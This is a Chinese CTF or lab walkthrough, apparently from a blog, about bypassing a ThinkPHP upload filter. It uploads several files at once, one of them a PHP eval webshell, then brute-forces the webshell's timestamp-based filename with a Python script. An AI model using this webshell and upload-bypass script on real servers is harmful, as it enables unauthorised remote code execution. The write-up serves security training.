网络安全-web(8)文件上传漏洞2

 实验工具

  • 谷歌浏览器:是一款非常稳定,非常流行的Internet浏览器
  • python:是一门编程语言

实验内容

分析源码,之后写脚本利用同时上传多文件的方法来绕过waf

实验步骤

步骤1:分析题目代码

  • 本步骤分析index.php查看代码漏洞

发现题目有上传功能,但限制上传文件的文件名中不能含有.php

而且$upload->allowExts是没有被用到的,所以无效

步骤2: 绕过限制

  • 本步通过利用python脚本上传多个文件来绕过waf

我们可以利用python来同时上传多个文件来绕waf,但是题目只会显示第一个正常文件上传之后的路径,例如使用下面的脚本来只传一个文件:

#coding:utf-8

import requests

import time

import json

url = "http://172.16.12.2:81/"

path = url + "/index.php/home/index/upload"

files = {"file":"123"}

r = requests.post(path, files=files)

print r.text

运行之后结果如下:

经过查阅thinkphp的相关上传逻辑可知,被上传的文件名是根据时间戳来生成的,所以我们只需要根据第一个正常文件的文件名通过爆破得到第二个、我们上传的恶意文件的文件名

可以用下面的脚本来实现上述思路:

import requests

import time

import json

url = "http://172.16.12.2:81/"

path = url + "/index.php/home/index/upload"

files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}

r = requests.post(path, files=files)

t1 = r.text.split("/")[-1].split(".")[0]

param=json.loads(r.content)

print param

t1 = int(t1, 16)

j = t1

while True:

    path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:-1]

    try:

        r = requests.get(path,timeout=1)

    except:

        continue

    if r.status_code == 429:

        time.sleep(0.1)

        continue

    elif r.status_code != 404:

        print path

        print r.text

        break

    print j, path, r.status_code

    j -= 1

结果:

这样我们就拿到了flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值